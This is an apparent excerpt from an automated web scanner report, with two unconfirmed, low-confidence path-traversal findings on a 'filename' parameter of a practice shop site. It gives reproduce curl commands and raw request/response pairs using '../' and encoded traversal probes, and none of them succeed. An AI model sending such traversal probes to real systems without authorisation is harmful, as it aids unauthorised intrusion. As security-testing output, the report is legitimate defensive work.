authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

filename reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

filename looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1'

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/%2e%2e/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename= HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · filename unconfirmed · low confidence BV-032 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: filename in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

filename reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

filename looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1'

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/%2e%2e/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename= HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · include unconfirmed · low confidence BV-033 info

